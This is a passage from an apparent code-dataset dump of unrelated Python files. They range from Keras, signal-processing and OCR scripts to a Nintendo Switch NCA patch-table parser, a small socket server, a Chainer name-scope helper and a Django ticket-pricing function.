unittest.main()","sub_path":"test/test_taxonomy_cache.py","file_name":"test_taxonomy_cache.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"287780978","text":"import numpy as np\nfrom keras.datasets import imdb\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom keras.layers.embeddings import Embedding\nfrom keras.preprocessing import sequence\nfrom keras.preprocessing.text import Tokenizer\n\ndocs = ['Well done!',\n\t\t'Good work',\n\t\t'Great effort',\n\t\t'nice work',\n\t\t'Excellent!',\n\t\t'Weak',\n\t\t'Poor effort!',\n\t\t'not good',\n\t\t'poor work',\n\t\t'Could have done better.']\n# define class labels\nlabels = np.array([1,1,1,1,1,0,0,0,0,0])\n# prepare tokenizer\nt = Tokenizer()\nt.fit_on_texts(docs)\nvocab_size = len(t.word_index) + 1\nencode_dict = t.word_index\n# integer encode the documents\nencoded_docs = t.texts_to_sequences(docs)\nprint(encoded_docs)\n# pad documents to a max length of 4 words\nmax_length = 5\npadded_docs = sequence.pad_sequences(encoded_docs, maxlen=max_length, padding='post')\nprint(padded_docs)\n\nimport pandas as pd\ndata_train = pd.read_csv('reddit_train.csv', usecols = ['BODY','REMOVED'])\ndata_test = pd.read_csv('reddit_test.csv', usecols = ['BODY','REMOVED'])\n","sub_path":"demo_mark0.py","file_name":"demo_mark0.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"49239255","text":"import cv2\nimport numpy as np\nfrom tools.segmentation import Segmentation\n\nclass IsolatePlayerFilter(object):\n\n def filter(self, rgb, depth, globalargs, args = {}):\n\n if not 'player_seed_closest' in args:\n return rgb, depth\n\n x, y = args['player_seed_closest']\n\n segmenter = Segmentation(depth)\n\n segment = segmenter.segment((x, y))\n\n rgb = np.zeros(rgb.shape, dtype=rgb.dtype)\n\n cond = (segmenter.markers == 255)\n np.copyto(rgb[:,:,0], segment, 'same_kind', cond)\n np.copyto(rgb[:,:,1], segment, 'same_kind', cond)\n np.copyto(rgb[:,:,2], segment, 'same_kind', cond)\n\n overlay = globalargs['overlay']\n\n color = 255, 100, 100\n overlay.circle((y, x), 10, color, 2)\n\n x_raw, y_raw = args['player_seed_smooth']\n color = 100, 255, 100\n overlay.circle((y_raw, x_raw), 60, color, 2)\n\n return rgb, depth","sub_path":"filters/IsolatePlayerFilter.py","file_name":"IsolatePlayerFilter.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"515382315","text":"# Load Data\nimport numpy as np\nimport scipy\nimport scipy.io\nfrom scipy import signal\nimport matplotlib.pyplot as plt\n\nrawDict = {}\nrawDict['data'] = scipy.io.loadmat('videoData.mat')\ndata = rawDict['data']['videodata']\n\n# Now data is the numpy array of shape 401 X 401 X 3 X 300\n# Compute the average red channel of each frame and plot the result\n\navg_red = np.zeros(np.shape(data)[3])\nfor i in range(0, np.shape(data)[3]):\n avg_red[i] = np.mean(data[:, :, 0, i])\nplt.figure(1)\nplt.plot(avg_red)\nplt.title(\"Average value of Red Channel with respect to time\")\n\ntaps = 91\nnyqf = 30\nb = signal.firwin(taps, [50/60, 140/60], pass_zero=False, nyq=nyqf)\nw, h = signal.freqz(b)\nplt.figure(2)\nplt.plot(nyqf*w / np.pi, 20 * np.log10(abs(h)), 'b')\nplt.ylabel('Amplitude [dB]', color='b')\nplt.grid()\nplt.axis('tight')\nidxS = 80\nidxF = 280\nfiltered = signal.convolve(b, avg_red)\n\n\n\npeaks = []\nfor i in range(idxS, idxF):\n if filtered[i] > filtered[i-1] and filtered[i] > filtered[i+1]:\n peaks.append((i, filtered[i]))\npeaks = np.array(peaks)\nplt.figure(3)\nplt.subplot(2, 1, 1)\nplt.plot(filtered)\nplt.title('Filtered Signal')\nplt.subplot(2, 1, 2)\nplt.plot(filtered[idxS:idxF])\nplt.scatter(peaks[:,0]-idxS, peaks[:,1], color = 'red')\nplt.title('Relevant segment of Filtered Signal and peaks')\nplt.show()\n\nprint(\"BPM = \",len(peaks)*6)","sub_path":"lab7/lab7_jonathan_leal.py","file_name":"lab7_jonathan_leal.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"256992508","text":"#元祖 只读列表,可循环查询,可切片。\r\n#儿子不能改,孙子可能可以改。\r\n# tu = (1,2,3,'alex',[2,3,4,'taibai'],'egon')\r\n# # print(tu[3])\r\n# # print(tu[0:4])\r\n# # for i in tu:\r\n# # print(i)\r\n# tu[4][3]=tu[4][3].upper()\r\n# print(tu)\r\n# tu[4].append('sb')\r\n# print(tu)\r\n\r\n# s = 'alex'\r\n# s1 = 'sb'.join(s)\r\n# print(s1)\r\n#列表转化成字符串 list -----> str join\r\n# li = ['taibai','alex','wusir','egon','女神',]\r\n# s = '++++'.join(li)\r\n#str ----->list split()\r\n# print(s)\r\n\r\n\r\n#range [1,2,3,4,5,6,.......100........]\r\n\r\n# for i in range(3,10):\r\n# print(i)\r\n# for i in range(10):\r\n# print(i)\r\n# for i in range(0,10,3):\r\n# print(i)\r\n# for i in range(10,0,-2):\r\n# print(i)\r\n# for i in range(10,-1,-2):\r\n# print(i)\r\n\r\nli = [1,2,3,5,'alex',[2,3,4,5,'taibai'],'afds']\r\n# for i in li:\r\n# if type(i) == list:\r\n# for k in i:\r\n# print(k)\r\n# else:print(i)\r\n\r\nfor i in range(len(li)):\r\n if type(li[i]) == list:\r\n for j in li[i]:\r\n print(j)\r\n else:print(li[i])","sub_path":"python/day4课堂笔记/4,元祖.py","file_name":"4,元祖.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"420441120","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nfrom constraint import *\n\nclass EquipStruct:\n serial = 0 # 序号 int\n name = '' # str\n intro = '' # str\n # 属性叠加\n dmgType = -1 # 伤害类型 int\n atkNum = 1 # 攻击次数 int\n atkRange = 0 # 0-近战 1-金色羽毛 2-远程\n race = 0 # 种族 int\n health = 0 # 生命 int\n dmg = 0 # 攻击力 int\n power = [0 for i in range(PowerNum)]\n dodge = 0 # 闪避 int\n # 发动相关\n opportunity = 0 # 触发时机 int\n trig = 0 # 触发限定 list[str]\n possiblity = 0 # 概率 int\n operMethod = 0 # 操作名称 int\n operAttr = 0 # 操作属性 list[str]\n operTarget = 0 # 操作对象 int\n operTrig = 0 # 操作限定 list[str]\n operValue = 0 # 基础数值 list[int]\n operValueAdd=0 # 属性加成 int\n reg = 0 # 寄存器 int\n cnt = 0 # 计数\n\n def __init__(self):\n pass\n\n # Fit excel\n def __init__(self, serial=0, name='', intro='', dmgType=-1, atkNum=1, atkRange=0, race=0,\n health=0, dmg=0, power=[0 for i in range(PowerNum)], dodge=0, opportunity=0,\n trig=0, trigReg=0, trigCnt=0, possiblity=0, operMethod=0, operAttr=0,\n operTarget=0, operTrig=0, operValue=0, operValueAdd=0):\n self.serial = int(serial)\n self.name = str(name)\n self.intro = str(intro)\n if (type(dmgType) == str):\n self.dmgType = DmgTypeDict[dmgType]\n self.atkNum = int(atkNum)\n if (type(atkRange) == str):\n self.atkRange = RangeDict[atkRange]\n if(type(race)==str):\n self.race = RaceDict[race]\n self.health = int(health)\n self.dmg = int(dmg)\n self.power = power\n self.dodge = int(dodge)\n self.opportunity = int(opportunity)\n if type(trig) == str:\n self.trig = re.split(',', trig)\n self.possiblity = possiblity\n if (type(operMethod) == str):\n self.operMethod = OperMethodDict[operMethod]\n if (type(operAttr) == str):\n self.operAttr = re.split(',', operAttr)\n if (type(operTarget) == str):\n self.operTarget = OperTargetDict[operTarget]\n if type(operTrig) == str:\n self.operTrig = re.split(',', operTrig)\n self.operValue = [int(x) for x in re.split(',', str(operValue))]\n if (type(operValueAdd) == str):\n self.operValueAdd = DmgTypeDict[operValueAdd]\n self.reg = int(trigReg)\n self.cnt = int(trigCnt)\n","sub_path":"equip.py","file_name":"equip.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"407970551","text":"\"\"\" Filters out putative operons that are extremely similar to one another. \"\"\"\n\nimport sys\n\nfrom operon_analyzer import analyze\n\noperons = analyze.load_operons(sys.stdin)\nunique = analyze.deduplicate_operons_approximate(operons)\nunique = analyze.dedup_supersets(unique)\n\nfor operon in unique:\n print(operon.as_str())\n","sub_path":"src/nontn7/dedup.py","file_name":"dedup.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"598890730","text":"import time\nimport rethinkdb as r\nfrom ntp.data.init_db import db_name\nfrom ntp.data import main\nfrom pprint import pprint\n\n\ndef test_main():\n \"\"\"\n Tests primary data acquisition API\n \"\"\"\n\n # Zero is the initial condition for main, where there are no existing timestamps to compare against\n out = main.main(0)\n pprint(out)\n assert out\n assert isinstance(out, dict)\n assert all(isinstance(out[elem], list) for elem in out)\n assert all(out[key] for key in out)\n\n must_fail = int(time.time())\n failing = main.main(must_fail)\n assert not failing\n assert isinstance(failing, bool)\n r.db_drop(db_name).run(r.connect())\n","sub_path":"ntp/data/tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"492709547","text":"import aes128\nimport Hex\nfrom binascii import hexlify as hx, unhexlify as uhx\nfrom struct import pack as pk, unpack as upk\nfrom Fs.File import File\nfrom Fs.File import MemoryFile\nfrom hashlib import sha256\nimport Fs.Type\nimport os\nimport re\nimport pathlib\n\nimport Keys\nimport Print\n\nMEDIA_SIZE = 0x200\n\n\n\nclass Header(File):\n\tdef __init__(self, path = None, mode = None, cryptoType = -1, cryptoKey = -1, cryptoCounter = -1, nca = None):\n\t\tself.size = 0\n\t\tself.offset = 0\n\t\tself.nca = nca\n\t\tself.bktr_offset = 0\n\t\tself.bktr_size = 0\n\t\tself.magic = None\n\t\tself.version = None\n\t\tself.enctryCount = 0\n\t\tself.reserved = None\n\t\tself.buffer = None\n\t\tsuper(Header, self).__init__(path, mode, cryptoType, cryptoKey, cryptoCounter)\n\n\tdef open(self, file = None, mode = 'rb', cryptoType = -1, cryptoKey = -1, cryptoCounter = -1):\n\t\tsuper(Header, self).open(file, mode, cryptoType, cryptoKey, cryptoCounter)\n\t\tself.rewind()\n\n\t\tself.bktr_offset = self.readInt64()\n\t\tself.bktr_size = self.readInt64()\n\t\tself.magic = self.read(0x4)\n\t\tself.version = self.readInt32()\n\t\tself.enctryCount = self.readInt32()\n\t\tself.reserved = self.readInt32()\n\n\tdef printInfo(self, maxDepth = 3, indent = 0):\n\t\tif not self.bktr_size:\n\t\t\treturn\n\n\t\ttabs = '\\t' * indent\n\t\tPrint.info('\\n%sBKTR' % (tabs))\n\t\tPrint.info('%soffset = %d' % (tabs, self.bktr_offset))\n\t\tPrint.info('%ssize = %d' % (tabs, self.bktr_size))\n\t\tPrint.info('%sentry count = %d' % (tabs, self.enctryCount))\n\n\t\tPrint.info('\\n')\n\nclass BktrRelocationEntry:\n\tdef __init__(self, f):\n\t\tself.virtualOffset = f.readInt64()\n\t\tself.physicalOffset = f.readInt64()\n\t\tself.isPatch = f.readInt32()\n\n\tdef printInfo(self, maxDepth = 3, indent = 0):\n\t\ttabs = '\\t' * indent\n\t\tPrint.info('%sRelocation Entry %s %x = %x' % (tabs, 'Patch' if self.isPatch else 'Base', self.physicalOffset, self.virtualOffset))\n\nclass BktrSubsectionEntry:\n\tdef __init__(self, f):\n\t\tself.virtualOffset = f.readInt64()\n\t\tself.size = 0\n\t\tself.padding = f.readInt32()\n\t\tself.ctr = f.readInt32()\n\n\tdef printInfo(self, maxDepth = 3, indent = 0):\n\t\ttabs = '\\t' * indent\n\t\tPrint.info('%sSubsection Entry %d, CTR = %x' % (tabs, self.virtualOffset, self.ctr))\n\nclass BktrBucket:\n\tdef __init__(self, f):\n\t\tself.padding = f.readInt32()\n\t\tself.entryCount = f.readInt32()\n\t\tself.endOffset = f.readInt64()\n\t\tself.entries = []\n\n\tdef getEntry(self, offset):\n\t\tindex = 0\n\t\tlast = self.entries[index]\n\t\tfor entry in self.entries:\n\t\t\tif entry.virtualOffset > offset:\n\t\t\t\tbreak\n\n\t\t\tlast = self.entries[index]\n\t\t\tindex += 1\n\n\t\treturn last\n\n\n\tdef printInfo(self, maxDepth = 3, indent = 0):\n\t\ttabs = '\\t' * indent\n\t\tPrint.info('\\n%sBKTR Bucket' % tabs)\n\t\tPrint.info('%sentries: %d' % (tabs, self.entryCount))\n\t\tPrint.info('%send offset: %d' % (tabs, self.endOffset))\n\n\t\tfor entry in self.entries:\n\t\t\tentry.printInfo(maxDepth, indent + 1)\n\nclass BktrSubsectionBucket(BktrBucket):\n\tdef __init__(self, f):\n\t\tsuper(BktrSubsectionBucket, self).__init__(f)\n\n\t\tfor i in range(self.entryCount):\n\t\t\tself.entries.append(BktrSubsectionEntry(f))\n\n\nclass BktrRelocationBucket(BktrBucket):\n\tdef __init__(self, f):\n\t\tsuper(BktrRelocationBucket, self).__init__(f)\n\n\t\tif self.entryCount > 0xFFFF:\n\t\t\traise IOError('Too many entries')\n\n\t\tfor i in range(self.entryCount):\n\t\t\tself.entries.append(BktrRelocationEntry(f))\n\n\nclass Bktr(Header):\n\tdef __init__(self, path = None, mode = None, cryptoType = -1, cryptoKey = -1, cryptoCounter = -1, nca = None):\n\t\tself.basePhysicalOffsets = []\n\t\tsuper(Bktr, self).__init__(path, mode, cryptoType, cryptoKey, cryptoCounter, nca)\n\n\n\tdef open(self, file = None, mode = 'rb', cryptoType = -1, cryptoKey = -1, cryptoCounter = -1):\n\t\tsuper(Bktr, self).open(file, mode, cryptoType, cryptoKey, cryptoCounter)\n\n\t\tif self.bktr_size:\n\t\t\tself.nca.seek(self.bktr_offset)\n\t\t\tself.nca.readInt32() # padding\n\t\t\tself.bucketCount = self.nca.readInt32()\n\t\t\tself.totalPatchImageSize = self.nca.readInt64()\n\t\t\tself.basePhysicalOffsets = []\n\t\t\tfor i in range(int(0x3FF0 / 8)):\n\t\t\t\tself.basePhysicalOffsets.append(self.nca.readInt64())\n\n\tdef isValid(self):\n\t\treturn True if self.bktr_size > 0 else False\n\n\tdef getBucket(self, offset):\n\t\tif len(self.buckets) == 0:\n\t\t\treturn None\n\n\t\tindex = 0\n\t\tlast = self.buckets[0]\n\n\t\tfor virtualOffset in self.basePhysicalOffsets:\n\t\t\tif index >= len(self.buckets):\n\t\t\t\tbreak\n\n\t\t\tif offset > virtualOffset:\n\t\t\t\tbreak\n\n\t\t\tlast = self.buckets[index]\n\t\t\tindex += 1\n\n\t\treturn last\n\n\tdef printInfo(self, maxDepth = 3, indent = 0):\n\t\tsuper(Bktr, self).printInfo(maxDepth, indent)\n\t\ttabs = '\\t' * indent\n\t\tPrint.info('%sOffsets' % (tabs))\n\n\t\ti = 0\n\t\tfor off in self.basePhysicalOffsets:\n\t\t\ti += 1\n\t\t\tif off == 0 and i != 1:\n\t\t\t\tbreak\n\t\t\tPrint.info('%s %x' % (tabs, off))\n\n\n\nclass Bktr1(Bktr):\n\tdef __init__(self, path = None, mode = None, cryptoType = -1, cryptoKey = -1, cryptoCounter = -1, nca = None):\n\t\tself.buckets = []\n\t\tsuper(Bktr1, self).__init__(path, mode, cryptoType, cryptoKey, cryptoCounter, nca)\n\n\tdef open(self, file = None, mode = 'rb', cryptoType = -1, cryptoKey = -1, cryptoCounter = -1):\n\t\tsuper(Bktr1, self).open(file, mode, cryptoType, cryptoKey, cryptoCounter)\n\n\t\tself.buckets = []\n\n\t\tif self.bktr_size:\n\t\t\tfor i in range(self.bucketCount):\n\t\t\t\tself.buckets.append(BktrRelocationBucket(self.nca))\n\n\tdef getRelocationEntry(self, offset):\n\t\tif len(self.buckets) == 0:\n\t\t\treturn None\n\n\t\tbucket = self.buckets[0]\n\n\t\tindex = 0\n\t\tfor virtualOffset in self.basePhysicalOffsets:\n\n\t\t\tif virtualOffset > offset or index >= len(self.buckets):\n\t\t\t\tbreak\n\n\t\t\tbucket = self.buckets[index]\n\t\t\tindex += 1\n\n\t\tresult = bucket.entries[0]\n\t\tfor entry in bucket.entries:\n\t\t\tif offset > entry.virtualOffset:\n\t\t\t\tbreak\n\t\t\tresult = entry\n\n\t\treturn entry\n\n\n\tdef printInfo(self, maxDepth = 3, indent = 0):\n\t\tsuper(Bktr1, self).printInfo(maxDepth, indent)\n\t\ttabs = '\\t' * indent\n\n\t\tfor bucket in self.buckets:\n\t\t\tbucket.printInfo(maxDepth, indent+1)\n\nclass Bktr2(Bktr):\n\tdef __init__(self, path = None, mode = None, cryptoType = -1, cryptoKey = -1, cryptoCounter = -1, nca = None):\n\t\tself.buckets = []\n\t\tsuper(Bktr2, self).__init__(path, mode, cryptoType, cryptoKey, cryptoCounter, nca)\n\n\tdef open(self, file = None, mode = 'rb', cryptoType = -1, cryptoKey = -1, cryptoCounter = -1):\n\t\tsuper(Bktr2, self).open(file, mode, cryptoType, cryptoKey, cryptoCounter)\n\n\t\tself.buckets = []\n\n\t\tif self.bktr_size:\n\t\t\tfor i in range(self.bucketCount):\n\t\t\t\tself.buckets.append(BktrSubsectionBucket(self.nca))\n\n\tdef getEntries(self, offset, size):\n\t\tentries = []\n\n\t\tbucket = self.getBucket(offset)\n\t\tif bucket is not None:\n\t\t\tentries.append(bucket.getEntry(offset))\n\n\t\treturn entries\n\n\tdef getAllEntries(self):\n\t\tentries = []\n\n\t\tfor bucket in self.buckets:\n\t\t\tlast = None\n\t\t\tfor entry in bucket.entries:\n\t\t\t\tif last is not None:\n\t\t\t\t\tlast.size = entry.virtualOffset - last.virtualOffset\n\t\t\t\tlast = entry\n\t\t\t\tentries.append(entry)\n\n\t\t\tif len(entries) != 0:\n\t\t\t\tentries[-1].size = bucket.endOffset - entries[-1].virtualOffset\n\n\t\treturn entries\n\n\tdef printInfo(self, maxDepth = 3, indent = 0):\n\t\tsuper(Bktr2, self).printInfo(maxDepth, indent)\n\n\t\tfor bucket in self.buckets:\n\t\t\tbucket.printInfo(maxDepth, indent+1)\n","sub_path":"py/ztools/Fs/Bktr.py","file_name":"Bktr.py","file_ext":"py","file_size_in_byte":7089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"135274563","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\ndef collatz_next(num):\n if num%2 == 0:\n return num//2\n else:\n return 3*num+1\n\ndef len_of_collatz_chain(num):\n len = 1\n n = num\n while n != 1:\n n = collatz_next(n)\n len += 1\n return len\n\ndef main():\n result = 0\n length_max = 0\n for i in range(1, 1000000):\n length_i = len_of_collatz_chain(i)\n if length_i > length_max:\n length_max = length_i\n result = i\n if (i-1)%10000 == 0:\n print(i)\n print(result)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"001-100/011-020/014.py","file_name":"014.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"383237600","text":"\"\"\"This program is program that outputs the binary (base 2) representation of\nthe decimal number typed as the input. It is based on decomposing the number into\na sum of powers of 2.\n\n@author Amit Kumar\n@version 1.0\n@since 03/01/2019\n\"\"\"\n# importing important modules\nimport utility.Utility\nimport util.Util\n\nglobal deci\n\nprint() # putting one white-space line before printing anything on the console\ntry:\n deci = utility.Utility.get_integer() # calling the function\nexcept Exception as e:\n print(e)\n\nprint(\"Binary representation of \", deci, \": \", util.Util.to_binary(deci)) # printing the output\n","sub_path":"AlgorithmPrograms/Problem15_BinaryConversion.py","file_name":"Problem15_BinaryConversion.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"236757845","text":"from PIL import Image\nfrom pytesseract import *\nfrom deepLearningEngine.bayesianEngine import BayesianFilter\nfrom urllib.request import urlopen\nimport boto3\nfrom server.mongoDBCon import *\n\nbf = BayesianFilter()\n\ns3Client = boto3.client('s3')\n\n\n# OCR 추출 후 training\ndef ocrToTxt(fileId, fileName, lang='eng'):\n img = Image.open(urlopen(fileName))\n\n # 추출\n outText = image_to_string(img, lang=lang, config='--psm 6 -c preserve_interword_spaces=1')\n\n # training\n bf.fit(outText, fileId)\n\n\nif __name__ == \"__main__\":\n\n books = dbCon('books', {})\n bookIds = []\n for book in books:\n bookIds.append(book.get('_id'))\n\n for bookId in bookIds:\n # bookId = 4\n probImgeUrl = []\n probId = []\n problems = dbCon({\"content.picture\": {\"$regex\": \"https\"}, \"bookId\": bookId})\n for problem in problems:\n probId.append(problem.get('_id'))\n probImgeUrl.append(problem.get('content').get('picture'))\n\n try:\n prefix = 'problem/' + str(problem.get('_id')) + '/'\n result = s3Client.list_objects(Bucket='deeplearning-training-data-classification', Prefix=prefix,\n Delimiter='/')\n for obj in result.get(\"Contents\"):\n pathSplit = obj.get('Key').split('/')\n if pathSplit[2] != '':\n urlPath = 'https://s3.ap-northeast-2.amazonaws.com/deeplearning-training-data-classification/' + obj.get(\n 'Key')\n probId.append(pathSplit[1])\n probImgeUrl.append(urlPath)\n # print('sub folder : ', obj.get('Key'))\n except:\n pass\n for i in range(len(probId)):\n print(probId[i], ':', probImgeUrl[i])\n\n # OCR 추출 작업 메인\n for fullName in range(len(probImgeUrl)):\n # 한글+영어 추출(kor, eng , kor+eng)\n ocrToTxt(probId[fullName], probImgeUrl[fullName], 'kor+eng')\n print(probId[fullName], ':', probImgeUrl[fullName])\n\n bf.word_save(bookId)\n print('+++ Text Convert Complete! +++', bookId)\n # 작업 완료 메시지\n","sub_path":"ocrTraining/bookIdTraining.py","file_name":"bookIdTraining.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"273160058","text":"import numpy as np\n\ndef ID(W,D):\n\treturn np.log2(2*D/W)\n\ndef ID_shannon(W,D):\n\treturn np.log2((D+W)/W)\n\ndef inches_to_cm(inches):\n\tto_cm=2.54\n\treturn inches*to_cm\n\ndef pixel_to_cm(num_pixel):\n\t#Each pixel on the screen was 0.02055 cm wide\n\teach_pixel_cm=0.02055\n\treturn each_pixel_cm*num_pixel\n\ndef experiments(exp):\n\tif exp==1:\n\t\texp_str='Fitts1954_Table1'\n\t\tWs=np.array([2,1,0.5,0.25])\n\t\tDs=np.array([2,4,8,16])\n\telif exp==2:\n\t\texp_str='Fitts1954 Table2 Disc Transfer'\n\t\tWs=np.array([0.5,0.25,0.125,0.0625])\n\t\tDs=np.array([4,8,16,32])\n\telif exp==3:\n\t\texp_str='Fitts1954 Table3 Pin Transfer'\n\t\tWs=np.array([0.25,0.125,0.0625,0.03125])\n\t\tDs=np.array([1,2,4,8,16])\n\telif exp==4:\n\t\texp_str='Jagacinski 1983 Helmet'\n\t\tWs=[1.22,0.7,0.4]\n\t\tDs=[2.45,4.28,7.5]\n\telif exp==5:\n\t\texp_str='Jagacinski 1983 Joystick'\n\t\tWs=[0.92,0.52,0.3]\n\t\tDs=[2.45,4.28,7.5]\n\telse:\n\t\texp_str='Zhai2004'\n\t\tWs=np.array([72,36,12])\n\t\tDs=np.array([120,360,840])\n\n\n\tWs=np.round(Ws/(np.max(Ds)*(1/0.5)),3)\n\tDs=np.round(Ds/(np.max(Ds)*(1/0.5)),3)\n\n\treturn Ws,Ds,exp_str\n\nif __name__ == '__main__':\n\timport itertools\n\tfor exp in [1,2,3,4,5,6]:\n\t\tWs,Ds,exp_str=experiments(exp)\n\t\tprint(exp_str)\n\t\tprint(f'Ws={Ws}')\n\t\tprint(f'Ds={Ds}')\n","sub_path":"data/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"317974177","text":"import argparse\nimport os\n\ndef new_dir(string):\n if os.path.exists(string):\n raise argparse.ArgumentTypeError(\"must specify a new directory for the hop project\")\n return string\n\ndef create_parser():\n config_parser = argparse.ArgumentParser(add_help=False)\n config_parser.add_argument('--hop-config', help='path to hop.yml file (defaults to ./hop.yml)')\n parser = argparse.ArgumentParser()\n sparser = parser.add_subparsers(dest='command')\n\n init_parser = sparser.add_parser('init', help='initializes hop')\n init_parser.add_argument('dest_dir', help='destination directory for hop')\n\n sparser.add_parser('provision', help='provisions gocd', parents=[config_parser])\n\n configure_parser = sparser.add_parser('configure', help='configures gocd', parents=[config_parser])\n configure_parser.add_argument('context', help='A folder with a set of yml files for app definitions')\n configure_parser.add_argument('--host', help='GoCD host. e.g: localhost:8153')\n configure_parser.add_argument('--user', help='User with admin role')\n configure_parser.add_argument('--password', help='Password for user')\n\n return parser\n","sub_path":"hop/cli/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"75942232","text":"import socket\n\ns = socket.socket()\nhost = '192.168.1.48' #ip of raspberry pi\nport = 13000\ns.bind((host, port))\n\nprint (\"Server Listening at /(host)\",host)\n\ns.listen(5)\nwhile True:\n c, addr = s.accept()\n print ('Got connection from',addr)\n c.send('Thank you for connecting')\n c.close()\n","sub_path":"Tester/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"50935456","text":"import functools\n\nfrom chainer import function, variable\n\n\ndef _init_with_name_scope(self, *args, **kargs):\n self.name_scope = kargs['name_scope']\n org_init = kargs['org_init']\n del kargs['name_scope']\n del kargs['org_init']\n org_init(self, *args, **kargs)\n\n\n_org_func_init = function.Function.__init__\n_org_val_init = variable.VariableNode.__init__\n\n\nclass name_scope(object):\n \"\"\"Class that creates hierarchical names for operations and variables.\n Args:\n name (str): Name for setting namespace.\n values (list): Variable in the namespace.\n Example:\n You can set namespace using \"with\" statement.\n In the following example, no namespace is set for the variable 'X', but\n the variable 'Y' and the relu function are set to the namespace \"test\".\n\n x = chainer.Variable(...)\n with name_scope('test'):\n y = F.relu(x)\n \"\"\"\n stack = []\n\n def __init__(self, name, values=list()):\n self.stack.append(name)\n for v in values:\n v.node.name_scope = '/'.join(self.stack)\n\n def __enter__(self):\n self._org_func_init = function.Function.__init__\n function.Function.__init__ = functools.partialmethod(_init_with_name_scope,\n name_scope='/'.join(self.stack),\n org_init=_org_func_init)\n self._org_val_init = variable.VariableNode.__init__\n variable.VariableNode.__init__ = functools.partialmethod(_init_with_name_scope,\n name_scope='/'.join(self.stack),\n org_init=_org_val_init)\n return self\n\n def __exit__(self, exec_type, exec_value, traceback):\n function.Function.__init__ = self._org_func_init\n variable.VariableNode.__init__ = self._org_val_init\n self.stack.pop(-1)\n\ndef within_name_scope(name):\n \"\"\"Decorator for link class methods.\n Args:\n name (str): Name for setting namespace.\n \"\"\"\n def decorator(func):\n import functools\n @functools.wraps(func)\n def wrapper(self, *args, **kwargs):\n with name_scope(name, self.params()):\n res = func(self, *args, **kwargs)\n return res\n return wrapper\n return decorator\n","sub_path":"tensorboard/name_scope.py","file_name":"name_scope.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"112875978","text":"lower = int(input(\"enter lower bound\"))\nupper = int(input(\"enter upper bound\"))\n\nfor n in range(lower, upper):\n\n if n == 1: continue\n\n flag = 1\n for val in range(2, n // 2 + 1):\n if n % val == 0:\n flag = 0\n break\n\n if flag == 1:\n print(\"Prime number: \", n)\n","sub_path":"prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"49742253","text":"from django import forms\nfrom django.core.mail import send_mail\nfrom django.core.validators import validate_email\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render, render_to_response\nfrom django.template import RequestContext\nfrom booking.models import *\nfrom django.contrib.auth.decorators import login_required\nfrom karspexet.settings import DEBUG\nimport datetime, math\nimport uuid\n\nfrom .forms import registerForm\n\ndef verify_coupon(coupon_code):\n '''\n @param: A code for a coupon. Max 8 characters (str)\n @return: Tuple with:\n - statuscode (int)\n - coupon if found, otherwise None (DiscountCode)\n Statuscodes:\n 1: All good\n -1: DiscountCode doesn't exist\n -2: Coupon is used\n '''\n try:\n coupon = DiscountCode.objects.get(code=coupon_code)\n except models.ObjectDoesNotExist:\n return (-1, None)\n if coupon.is_used():\n return (-2, coupon)\n return (1, coupon)\n\n\ndef determine_price(spex, nachspex, guest_type, alcohol_free, coupon=None):\n prices = {\n 'phux': 10,\n 'student': 15,\n 'not_student': 25\n }\n price = 0\n cheaper_used = False\n if spex:\n '''\n Use coupon if and only if:\n - It exists\n - It's still valid (still has uses left)\n - The price is less than it otherwise would be\n '''\n if coupon and not coupon.is_used() and coupon.price < prices[guest_type]:\n price += coupon.price\n else:\n price += prices[guest_type]\n if coupon and coupon.price >= prices[guest_type]:\n cheaper_used = True\n\n # Price for nachspex is 15€ if also spex and 18€ if only nachspex\n if nachspex:\n if spex:\n price += 15\n else:\n price += 18\n # If alcoholfree price is reduced by 3€\n if alcohol_free:\n price -= 3\n return (price, cheaper_used)\n\n\n# Create your views 